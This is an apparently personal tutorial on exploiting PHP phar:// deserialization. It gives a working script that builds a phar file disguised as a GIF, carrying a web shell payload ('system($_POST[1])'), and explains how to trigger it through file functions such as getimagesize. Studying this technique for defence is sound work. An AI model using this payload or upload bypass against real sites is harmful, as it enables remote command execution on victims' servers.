The Magic Power of phar

This is my first time to test the power of phar://unserialization since I heard this skill in blackhat2018, I would share my experience not only about how to exploit but also about the setting of environment.

What you need to prepare before exploit

What you need to prepare before exploit is the environment to generate the phar file. I extremely recommend to write a PHP script to generate phar file, for reason one is that you can understand the structure of the phar format, for the reason two is that you don’t need to spend so much time on building payload but still scare of the wrong format.
First part of the preparation is to change the setting of environment. We need to change phar.readonly=On in php.ini to Off. But before that, you should make sure which php.ini your system is loading for. There are many people asking why their setting still not work after they change setting in /etc/php/7.2/apache2/php.ini. However, you should make sure with following command

// command
php -i | grep php.ini
// output
Configuration File (php.ini) Path => /etc/php/7.2/cli
Loaded Configuration File => /etc/php/7.2/cli/php.ini

Here you can see that the php.ini file which system loads for is different from the one we saw previously, and this was also the mistake I made before. Now you can get to the right file and uncomment, edit the readonly setting of phar. Also here is some efficient way to make sure whether you have changed the phar setting successfully. One is phpinfo(), the other is…

// command
php -i | grep phar.readonly
// output
phar.readonly => Off => Off

Now, you can try to generate your own phar on the system.

Generate your own phar

// phar_generate.php
<?php
class FileManager {
    public $content = '<?php system($_POST[1]) ?>';
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");   // generate phar.phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");   // fake gif
$o = new FileManager();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

What you compress in the phar file with addFromString is not important. The exploit point of phar:// is metadata. If I use xxd phar.phar on the phar file…
From the screenshot, you can see that metadata (between stub and content) is serialized. If the website limited you only be able to upload gif file, then you can create a xxx.gif file and put the content of phar.phar into it:) Next part is to find the trigger point of unserialization!

Exploit

Finally, we come to the exploit point. The magic power of phar is that it can works on each of file function. For example,

getimagesize($file);

If you can control the variable $file, the exploit way should be file=phar://xxxxx/.gif, then the existing class can be overwritten with your phar file.

Some knowledge you need to know

In the process of unserialization, I was confused about some points such like “why the function destruct() in the class would be called?”. To know how to exploit, solvng all of these problems is also important.

  1. Function destruct() would be called when destroy a object, but would also be called if unserialization.
  2. Function destruct() would also be called when new a object because it is a life cycle from construct() to destruct()